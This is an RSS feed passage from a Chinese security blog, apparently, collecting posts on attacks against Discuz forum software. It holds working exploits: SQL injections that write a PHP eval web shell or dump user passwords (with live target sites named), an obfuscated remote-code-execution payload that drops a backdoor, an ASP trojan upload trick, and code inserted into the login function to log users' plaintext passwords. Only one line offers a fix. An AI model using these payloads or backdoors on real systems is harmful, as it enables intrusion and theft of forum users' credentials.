<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; Discuz</title>
	<atom:link href="http://www.4shell.org/archives/tag/discuz/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Fri, 10 Feb 2012 03:53:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Discuz! 7.2 最新注入漏洞分析与利用</title>
		<link>http://www.4shell.org/archives/1616.html</link>
		<comments>http://www.4shell.org/archives/1616.html#comments</comments>
		<pubDate>Fri, 12 Mar 2010 03:53:51 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1616.html</guid>
		<description><![CDATA[在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中，没有对传入的参数进行检查，在GPC为off的情况下，导致注入漏洞的产生。 漏洞分析： 文件./manyou/sources/notice.php 相关代码： if($option == 'del') { $appid = intval($_GET['appid']); $db-&#62;query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'"); showmessage('manyou:done', 'userapp.php?script=notice&#38;action=invite'); } elseif($option == 'deluserapp') { $hash = trim($_GET['hash']); //此处并没有进行过滤，直接导致注入的产生 if($action == 'invite') { $query = $db-&#62;query("SELECT * FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'"); if($value = $db-&#62;fetch_array($query)) { $db-&#62;query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'"); [...]]]></description>
			<content:encoded><![CDATA[<p>在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中，没有对传入的参数进行检查，在GPC为off的情况下，导致注入漏洞的产生。<br />
漏洞分析：<br />
文件./manyou/sources/notice.php</p>
<p>相关代码：</p>
<blockquote><p>if($option == 'del') {</p>
<p>$appid = intval($_GET['appid']);</p>
<p>$db-&gt;query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'");</p>
<p>showmessage('manyou:done', 'userapp.php?script=notice&amp;action=invite');</p>
<p>} elseif($option == 'deluserapp') {</p>
<p>$hash = trim($_GET['hash']);    //此处并没有进行过滤，直接导致注入的产生</p>
<p>if($action == 'invite') {</p>
<p>$query = $db-&gt;query("SELECT * FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");</p>
<p>if($value = $db-&gt;fetch_array($query)) {</p>
<p>$db-&gt;query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");</p>
<p>showmessage('manyou:done', 'userapp.php?script=notice&amp;action=invite');</p>
<p>} else {</p>
<p>showmessage('manyou:noperm');</p>
<p>}</p>
<p>} else {</p>
<p>$db-&gt;query("DELETE FROM {$tablepre}mynotice WHERE id='$hash' AND uid='$discuz_uid'");</p>
<p>showmessage('manyou:done', 'userapp.php?script=notice');</p>
<p>}</p>
<p>}
</p></blockquote>
<p><span id="more-1616"></span><br />
很简单的一个漏洞。在没有查询结果返回的情况下我们往往只有采取盲注的方式，但如果当前数据库帐号有File_priv的话我们也可以直接into outfile</p>
<blockquote><p>/userapp.php?script=notice&amp;view=all&amp;option=deluserapp&amp;action=invite&amp;hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,</p>
<p>NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23</p></blockquote>
<p>0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E是<?php @eval($_POST['O']);?><br />
的十六进制表示。<br />
但想<br />
into outfile的话，我们还得有web的物理路径，有两种爆路径的方法<br />
/manyou/admincp.php?my_suffix=%0A%0DTOBY57<br />
/manyou/userapp.php?%0D%0A=TOBY57</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2009年08月21日 -- <a href="http://www.4shell.org/archives/1032.html" title="Discuz 群体攻击第三波出现">Discuz 群体攻击第三波出现</a></li><li>2009年08月15日 -- <a href="http://www.4shell.org/archives/1015.html" title="Discuz!账号发放插件注入0day">Discuz!账号发放插件注入0day</a></li><li>2008年11月9日 -- <a href="http://www.4shell.org/archives/567.html" title="Discuz! $_DCACHE数组变量覆盖漏洞">Discuz! $_DCACHE数组变量覆盖漏洞</a></li><li>2011年09月21日 -- <a href="http://www.4shell.org/archives/2035.html" title="WPA2不再安全 无线加密协议曝惊天漏洞">WPA2不再安全 无线加密协议曝惊天漏洞</a></li><li>2010年08月3日 -- <a href="http://www.4shell.org/archives/1829.html" title="黑帽大会：HTTPS和SSL存在安全漏洞">黑帽大会：HTTPS和SSL存在安全漏洞</a></li><li>2010年07月3日 -- <a href="http://www.4shell.org/archives/1788.html" title="风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞">风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1752.html" title="JBoss企业应用平台JMX控制台安全绕过漏洞">JBoss企业应用平台JMX控制台安全绕过漏洞</a></li><li>2010年03月17日 -- <a href="http://www.4shell.org/archives/1622.html" title="网页编辑器漏洞手册">网页编辑器漏洞手册</a></li><li>2010年01月9日 -- <a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1616.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz7 记录明文</title>
		<link>http://www.4shell.org/archives/1465.html</link>
		<comments>http://www.4shell.org/archives/1465.html#comments</comments>
		<pubDate>Sat, 09 Jan 2010 05:37:42 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Discuz]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1465.html</guid>
		<description><![CDATA[内容如下： $ip=$_SERVER['REMOTE_ADDR']; $showtime=date("Y-m-d H:i:s"); $record="".$username." --------".$password." IP:".$ip." Time:".$showtime."\r\n"; $handle=fopen('./ipdata/csshacklog.php','a+'); $write=fwrite($handle,$record); 修改uc_client目录下的client.php 在 function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') { 下加入如上代码,在网站ipdata目录下自动生成csshacklog.php 你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为：falw View.php 代码： &#60;? error_reporting(0); $psw="falw"; //Pass if($_GET[action]=="logout") { setcookie("pass_wd",''); exit('&#60;META http-equiv=Content-Type content="text/html; charset=gb2312"&#62;&#60;a href="?action=login"&#62;Relogin&#60;/a&#62;&#60;BR&#62;'); } $_REQUEST[pass_wd]= $_POST[pass_wd]?$_POST[pass_wd]:$_REQUEST[pass_wd]; if ($_REQUEST[pass_wd] !== $psw) { if( [...]]]></description>
			<content:encoded><![CDATA[<p>内容如下：</p>
<blockquote><p>$ip=$_SERVER['REMOTE_ADDR'];<br />
$showtime=date("Y-m-d H:i:s");<br />
$record="".$username." --------".$password." IP:".$ip." Time:".$showtime."\r\n";<br />
$handle=fopen('./ipdata/csshacklog.php','a+');<br />
$write=fwrite($handle,$record);</p></blockquote>
<p>修改uc_client目录下的client.php 在</p>
<p><span id="more-1465"></span></p>
<blockquote><p>function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {</p></blockquote>
<p>下加入如上代码,在网站ipdata目录下自动生成csshacklog.php<br />
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为：falw</p>
<p>View.php 代码：</p>
<blockquote><p>
&lt;?</p>
<p>error_reporting(0);</p>
<p>$psw="falw"; //Pass</p>
<p>if($_GET[action]=="logout") {</p>
<p>setcookie("pass_wd",'');</p>
<p>exit('&lt;META http-equiv=Content-Type content="text/html; charset=gb2312"&gt;&lt;a href="?action=login"&gt;Relogin&lt;/a&gt;&lt;BR&gt;');</p>
<p>}</p>
<p>$_REQUEST[pass_wd]= $_POST[pass_wd]?$_POST[pass_wd]:$_REQUEST[pass_wd];</p>
<p>if ($_REQUEST[pass_wd] !== $psw) {</p>
<p>if( $_POST[pass_wd]) {echo "wrong password.&lt;br&gt;";}</p>
<p>?&gt;</p>
<p>&lt;META http-equiv=Content-Type content="text/html; charset=gb2312"&gt;</p>
<p>&lt;form method="POST" action="?"&gt;</p>
<p>&lt;p&gt;Pass：&lt;input type="password" name="pass_wd" size="20" value=""&gt;&lt;/p&gt;</p>
<p>&lt;p&gt;&lt;input type="submit" value="Go" name="B2"&gt;&lt;/p&gt;</p>
<p>&lt;/form&gt;</p>
<p>&lt;?</p>
<p>exit;</p>
<p>}else {setcookie("pass_wd",$_REQUEST[pass_wd]);}</p>
<p>?&gt;</p>
<p>&lt;?</p>
<p>if($_GET['notencode']) {</p>
<p>$a=file_get_contents("csshacklog.php");</p>
<p>$a=str_replace("&lt;?exit();?&gt;","",$a);</p>
<p>echo $a;</p>
<p>exit;</p>
<p>}</p>
<p>?&gt;</p>
<p>&lt;META http-equiv=Content-Type content="text/html; charset=gb2312"&gt;</p>
<p>WebLog:&lt;br&gt;&lt;br&gt;</p>
<p>&lt;a href="?"&gt;Refresh&lt;/a&gt;</p>
<p>&lt;a href="?action=logout"&gt;Exit&lt;/a&gt;&lt;BR&gt;</p>
<p>&lt;pre&gt;</p>
<p>&lt;B&gt;Record：&lt;/B&gt;</p>
<p>&lt;?</p>
<p>$a=file_get_contents("csshacklog.php");</p>
<p>$a=str_replace("&lt;?exit();?&gt;","",$a);</p>
<p>echo htmlspecialchars($a);</p>
<p>?&gt;
</p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2010年01月7日 -- <a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2009年09月4日 -- <a href="http://www.4shell.org/archives/1086.html" title="Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability">Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability</a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1057.html" title="Discuz! Plugin Crazy Star <= 2.0 Sql injection Vulnerability">Discuz! Plugin Crazy Star <= 2.0 Sql injection Vulnerability</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2009年08月21日 -- <a href="http://www.4shell.org/archives/1032.html" title="Discuz 群体攻击第三波出现">Discuz 群体攻击第三波出现</a></li><li>2009年08月15日 -- <a href="http://www.4shell.org/archives/1015.html" title="Discuz!账号发放插件注入0day">Discuz!账号发放插件注入0day</a></li><li>2008年11月14日 -- <a href="http://www.4shell.org/archives/608.html" title="Discuz! 6.x/7.x SODB-2008-13 Exp">Discuz! 6.x/7.x SODB-2008-13 Exp</a></li><li>2008年11月9日 -- <a href="http://www.4shell.org/archives/567.html" title="Discuz! $_DCACHE数组变量覆盖漏洞">Discuz! $_DCACHE数组变量覆盖漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1465.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>discuz!7.1、7.2远程代码执行漏洞exploit</title>
		<link>http://www.4shell.org/archives/1464.html</link>
		<comments>http://www.4shell.org/archives/1464.html#comments</comments>
		<pubDate>Thu, 07 Jan 2010 08:49:19 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1464.html</guid>
		<description><![CDATA[1.注册一个新用户 2.Exp代码如下： &#60;form method="post" action=" http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data"&#62; 帖子ID，指定一个存在的帖子即可：&#60;input type="text" name="tid" value="1" /&#62; &#60;input type="hidden" name="action" value="imme_binding" /&#62; &#60;input type="hidden" name="response[result]" value="1:2" /&#62; &#60;input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40). chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39). chr(102).chr(111).chr(114).chr(117).chr(109).chr(100). chr(97).chr(116).chr(97).chr(47).chr(99).chr(97). chr(99).chr(104).chr(101).chr(47).chr(117). chr(115).chr(101).chr(114).chr(103).chr(114). chr(111).chr(117).chr(112).chr(95).chr(48). chr(49).chr(46).chr(112).chr(104).chr(112).chr(39). chr(44).chr(39).chr(119).chr(39).chr(41).chr(44). chr(39).chr(60).chr(63).chr(112).chr(104).chr(112). chr(32).chr(101).chr(118).chr(97).chr(108).chr(40). chr(36).chr(95).chr(80).chr(79).chr(83).chr(84). chr(91).chr(99).chr(109).chr(100).chr(93). chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" /&#62; &#60;input type="submit" name="topicsubmit" value="提交" class="submit" /&#62; &#60;/form&#62; chr解码后是： value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'&#60;?php eval($_POST[cmd])?&#62;'); 保存html 打开点提交，会生产forumdata/cache/usergroup_01.php一句话文件，密码是cmd 第二种方法： 直接GET，利用语句： misc.php?action=imme_binding&#38;response[result]=aa:b&#38;scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w), [...]]]></description>
			<content:encoded><![CDATA[<p>1.注册一个新用户<br />
2.Exp代码如下：</p>
<blockquote><p>&lt;form method="post" action="   http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data"&gt;</p>
<p>帖子ID，指定一个存在的帖子即可：&lt;input type="text" name="tid" value="1" /&gt;</p>
<p>&lt;input type="hidden" name="action" value="imme_binding" /&gt;</p>
<p>&lt;input type="hidden" name="response[result]" value="1:2" /&gt;</p>
<p>&lt;input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).</p>
<p>chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).</p>
<p>chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).</p>
<p>chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).</p>
<p>chr(99).chr(104).chr(101).chr(47).chr(117).</p>
<p>chr(115).chr(101).chr(114).chr(103).chr(114).</p>
<p>chr(111).chr(117).chr(112).chr(95).chr(48).</p>
<p>chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).</p>
<p>chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).</p>
<p>chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).</p>
<p>chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).</p>
<p>chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).</p>
<p>chr(91).chr(99).chr(109).chr(100).chr(93).</p>
<p>chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" /&gt;</p>
<p>&lt;input type="submit" name="topicsubmit" value="提交" class="submit" /&gt;</p>
<p>&lt;/form&gt;</p></blockquote>
<p>chr解码后是：</p>
<blockquote><p>value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'&lt;?php eval($_POST[cmd])?&gt;');</p></blockquote>
<p>保存html</p>
<p>打开点提交，会生产forumdata/cache/usergroup_01.php一句话文件，密码是cmd</p>
<p>第二种方法：</p>
<p>直接GET，利用语句：</p>
<blockquote><p>misc.php?action=imme_binding&amp;response[result]=aa:b&amp;scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w),</p>
<p>base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}</p></blockquote>
<p>在根目录生成C.PHP密码是C</p>
<p>临时修补方法：</p>
<p>在common.inc.php上面加上</p>
<blockquote><p>$response=$scriptlang=array();</p></blockquote>
<p>官方发布修补补丁：</p>
<p>http://www.discuz.net/thread-1537673-1-1.html</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2010年12月16日 -- <a href="http://www.4shell.org/archives/1857.html" title="Exploits Linux Kernel <= 2.6.37 local privilege escalation">Exploits Linux Kernel <= 2.6.37 local privilege escalation</a></li><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1842.html" title="PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)">PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li><li>2010年04月15日 -- <a href="http://www.4shell.org/archives/1692.html" title="Remote Exploit Against the Aircrack-NG Tools svn r1675">Remote Exploit Against the Aircrack-NG Tools svn r1675</a></li><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2010年01月9日 -- <a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1464.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz!NT 3.0 特殊环境下利用漏洞</title>
		<link>http://www.4shell.org/archives/1167.html</link>
		<comments>http://www.4shell.org/archives/1167.html#comments</comments>
		<pubDate>Fri, 13 Nov 2009 16:09:59 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1167.html</guid>
		<description><![CDATA[WINDOWS2003+IIS6 漏洞版本:3.0.0 利用过程: 准备一只ASP马.加密后命名为:chinadu.asp 打开目标论坛-->登陆一个可以发贴的帐号-->任意区发贴-->点[批量上传] 会提示你安装一个Microsoft Silverlight的插件...安装... 安装完毕后.将chinadu.asp 改名.为:1.asp;jpg 然后利用批量上传.选中改名后的文件.上传完毕后到[我的附件].就可看到地址.. 注:1.asp我如果用不加密的话传上去会自动命名. 相关文章2010年03月12日 -- Discuz! 7.2 最新注入漏洞分析与利用2009年08月21日 -- Discuz 群体攻击第三波出现2008年11月9日 -- Discuz! $_DCACHE数组变量覆盖漏洞2011年09月21日 -- WPA2不再安全 无线加密协议曝惊天漏洞2010年08月3日 -- 黑帽大会：HTTPS和SSL存在安全漏洞2010年07月3日 -- 风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞2010年05月8日 -- JBoss企业应用平台JMX控制台安全绕过漏洞2010年03月17日 -- 网页编辑器漏洞手册2010年01月9日 -- Discuz7 记录明文2010年01月7日 -- discuz!7.1、7.2远程代码执行漏洞exploit]]></description>
			<content:encoded><![CDATA[<p>WINDOWS2003+IIS6<br />
漏洞版本:3.0.0<br />
利用过程:<br />
准备一只ASP马.加密后命名为:chinadu.asp<br />
打开目标论坛-->登陆一个可以发贴的帐号-->任意区发贴-->点[批量上传]<br />
会提示你安装一个Microsoft Silverlight的插件...安装...<br />
安装完毕后.将chinadu.asp 改名.为:1.asp;jpg<br />
然后利用批量上传.选中改名后的文件.上传完毕后到[我的附件].就可看到地址..<br />
注:1.asp我如果用不加密的话传上去会自动命名.</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2009年08月21日 -- <a href="http://www.4shell.org/archives/1032.html" title="Discuz 群体攻击第三波出现">Discuz 群体攻击第三波出现</a></li><li>2008年11月9日 -- <a href="http://www.4shell.org/archives/567.html" title="Discuz! $_DCACHE数组变量覆盖漏洞">Discuz! $_DCACHE数组变量覆盖漏洞</a></li><li>2011年09月21日 -- <a href="http://www.4shell.org/archives/2035.html" title="WPA2不再安全 无线加密协议曝惊天漏洞">WPA2不再安全 无线加密协议曝惊天漏洞</a></li><li>2010年08月3日 -- <a href="http://www.4shell.org/archives/1829.html" title="黑帽大会：HTTPS和SSL存在安全漏洞">黑帽大会：HTTPS和SSL存在安全漏洞</a></li><li>2010年07月3日 -- <a href="http://www.4shell.org/archives/1788.html" title="风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞">风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1752.html" title="JBoss企业应用平台JMX控制台安全绕过漏洞">JBoss企业应用平台JMX控制台安全绕过漏洞</a></li><li>2010年03月17日 -- <a href="http://www.4shell.org/archives/1622.html" title="网页编辑器漏洞手册">网页编辑器漏洞手册</a></li><li>2010年01月9日 -- <a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li><li>2010年01月7日 -- <a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1167.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz! Plugin JiangHu </title>
		<link>http://www.4shell.org/archives/1086.html</link>
		<comments>http://www.4shell.org/archives/1086.html#comments</comments>
		<pubDate>Fri, 04 Sep 2009 02:18:38 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Discuz]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1086.html</guid>
		<description><![CDATA[========================================================= Discuz! Plugin JiangHu < = 1.1 Sql injection Vulnerability ========================================================= ========================[Author]========================= [+] Founded : ZhaoHuAn [+] Contact : ZhengXing[at]shandagames[dot]com [+] Blog : http://www.patching.net/zhaohuan/ [+] Date : Feb, 9th 2009 [+] Update : Sep, 1th 2009 ========================[Soft Info]====================== Software: Discuz! Plugin JiangHu Inn Version : 1.1 Vendor : http://www.discuz.com d0rk : inurl:forummission.php [-] Exploit: [+] [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>
=========================================================<br />
Discuz! Plugin JiangHu < = 1.1 Sql injection Vulnerability<br />
=========================================================</p>
<p>========================[Author]=========================                   </p>
<p> [+] Founded 	: ZhaoHuAn<br />
 [+] Contact	: ZhengXing[at]shandagames[dot]com<br />
 [+] Blog	: http://www.patching.net/zhaohuan/<br />
 [+] Date	: Feb, 9th 2009<br />
 [+] Update	: Sep, 1th 2009	</p>
<p>========================[Soft Info]======================		 </p>
<p>Software: Discuz! Plugin JiangHu Inn<br />
Version	: 1.1<br />
Vendor	: http://www.discuz.com<br />
d0rk    : inurl:forummission.php			             	 </p>
<p>[-] Exploit:<br />
[+] and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--</p>
<p>[-] SqlI PoC:<br />
[+] http://target/[path]/forummission.php?index=show&#038;id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--</p>
<p>[+] Demo Live:<br />
[-] http://www.palslp.com/forummission.php?index=show&#038;id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--</p>
<p>[-] http://bbs.sunspals.com/forummission.php?index=show&#038;id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--</p>
<p>/---------------------------------------------www.zhaohuan.net-------------------------------------------------\  </p>
<p>                                            Greetz : Snda Security Team<br />
                                                    &#038; Normal is boring - -!</p>
<p>\--------------------------------------------------------------------------------------------------------------/
</p></blockquote>
</blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2010年01月9日 -- <a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li><li>2010年01月7日 -- <a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1057.html" title="Discuz! Plugin Crazy Star <= 2.0 Sql injection Vulnerability">Discuz! Plugin Crazy Star <= 2.0 Sql injection Vulnerability</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2009年08月21日 -- <a href="http://www.4shell.org/archives/1032.html" title="Discuz 群体攻击第三波出现">Discuz 群体攻击第三波出现</a></li><li>2009年08月15日 -- <a href="http://www.4shell.org/archives/1015.html" title="Discuz!账号发放插件注入0day">Discuz!账号发放插件注入0day</a></li><li>2008年11月14日 -- <a href="http://www.4shell.org/archives/608.html" title="Discuz! 6.x/7.x SODB-2008-13 Exp">Discuz! 6.x/7.x SODB-2008-13 Exp</a></li><li>2008年11月9日 -- <a href="http://www.4shell.org/archives/567.html" title="Discuz! $_DCACHE数组变量覆盖漏洞">Discuz! $_DCACHE数组变量覆盖漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1086.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz! Plugin Crazy Star </title>
		<link>http://www.4shell.org/archives/1057.html</link>
		<comments>http://www.4shell.org/archives/1057.html#comments</comments>
		<pubDate>Thu, 27 Aug 2009 01:39:03 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Discuz]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1057.html</guid>
		<description><![CDATA[============================================================ Discuz! Plugin Crazy Star < = 2.0 Sql injection Vulnerability ============================================================ ========================[Author]============================ [+] Founded : ZhaoHuAn [+] Contact : ZhengXing[at]shandagames[dot]com [+] Blog : http://www.patching.net/zhaohuan/ [+] Date : August, 26th 2009 [Double Seventh Festival] ========================[Soft Info]========================= Software: Discuz! Plugin Crazy Star(family) Version : 2.0 Vendor : http://www.discuz.com [-] Exploit: [+] 1) Register a User 2) [...]]]></description>
			<content:encoded><![CDATA[<p>============================================================<br />
Discuz! Plugin Crazy Star < = 2.0 Sql injection Vulnerability<br />
============================================================</p>
<p>========================[Author]============================                    </p>
<p> [+] Founded 	: ZhaoHuAn<br />
 [+] Contact	: ZhengXing[at]shandagames[dot]com<br />
 [+] Blog	: http://www.patching.net/zhaohuan/<br />
 [+] Date	: August, 26th 2009 [Double Seventh Festival]	 </p>
<p>========================[Soft Info]=========================		 </p>
<p>Software: Discuz! Plugin Crazy Star(family)<br />
Version	: 2.0<br />
Vendor	: http://www.discuz.com<br />
<span id="more-1057"></span></p>
<blockquote><p>
[-] Exploit:<br />
[+] 1) Register a User<br />
    2) Login!<br />
[+] and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31 from cdb_members--</p>
<p>[-] SqlI PoC:<br />
